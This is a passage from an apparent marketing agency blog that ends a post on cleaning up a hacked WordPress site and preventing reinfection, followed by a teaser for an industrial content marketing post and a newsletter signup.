  • Delete Themes. I tend to delete every theme I am not actively using. This means less themes to search for infections now, less themes in the future to keep updated, less themes to provide vulnerabilities to new/unknown exploits.

With those steps, you’ve saved yourself a lot of time searching through folders and files…  but, if your WordPress site is hosted, and running, just install Wordfence and run the scan. You’ll save a lot of time now, and later.

Wrapping Things Up

If there were backdoors found on your site, there is a chance that the site could have been used for more than just running commands through. You’ve stopped them from getting in this way, but there can still be email forms and phishing pages, other remnants of the infection you’ll want to find and get rid of.

Don’t expect the created or last-modified dates on these files to be accurate – these can faked.

Your best bet is always being very familiar with whatever CMS you prefer to use – familiar enough to know how to wipe most files clean, replace them with new, and spot files that are out of place.

I choose to use WordPress in most cases because of my familiarity with it. I install, design, and manage a lot of WordPress sites – and have been doing this since its earliest versions.

In other cases, I often recommend managed CMS solutions where such security headaches are for the providers of the service (we build a lot of WordPress sites, but we use Hubspot for ours, and offer development and maintenance of Hubspot sites, as well as managing Inbound Marketing campaigns). There are by the month fees for these, but in many cases these can come with incredibly handy Marketing tools for the money, and save you the cost in time or money that occurs when your site is hacked.

Consider how You Might have been Hacked and Prevent It

Oftentimes, this could be as simple as having installed a plugin or a patch. Here are some tips to avoid that:

  • Download plugins only from respected sites that monitor for malware plugins.
  • Try to find plugins that have thousands of active users and are regularly updated.
  • Don’t add a patch you’ve found on the web unless you are sure of what it does and why, or at least make sure the site you found that patch on regularly monitors for people posting malicious code as fixes.
  • Tighten up security: Add a security suite if one is available for your CMS. Make sure your .htaccess is solid against browsing of folders and that it blocks forbidden files.
  • Make sure your own code sanitizes strings/escapes special characters from input and from HTTP POST requests.
  • Make sure your CMS and plugins are kept up to date.
  • Check on your site regularly for anything out of place.
  • Search Google with Site:yoursite.com to see if there are phishing or pharma pages on your site.
  • Consider any new problem that did not occur with updates or changes to be a possible hack.
  • Connect Google Search Console/Webmaster Tools to your site as a means to monitor for infections or other problems.
Read More

Plan for an Industrial Content Driven Marketing campaign

Consumer media is getting very fractured, but industrial content driven marketing is still led by a few quality publishing houses.

Sure you can spend hundreds of thousands of dollars on full page ads every month in your industrial trade publications. But you wouldn’t be taking advantage of the invitation to supply educational and application articles to the publication as well. Industrial marketing is a partnership between you and the industrial publishing houses. And that includes trade shows as well. The best publishing companies also have the best shows.

Read More
Back To Top
Lohre Cincinnati Industrial NewsletterTips, Pointers, and News for Cincinnati-Area Industrial Leaders

Subscribe to our newsletter for news related to Industrial Machinery and Manufacturing for the Greater Cincinnati area. Offerings include marketing and advertising tips and pointers and well news about industrial companies in our area.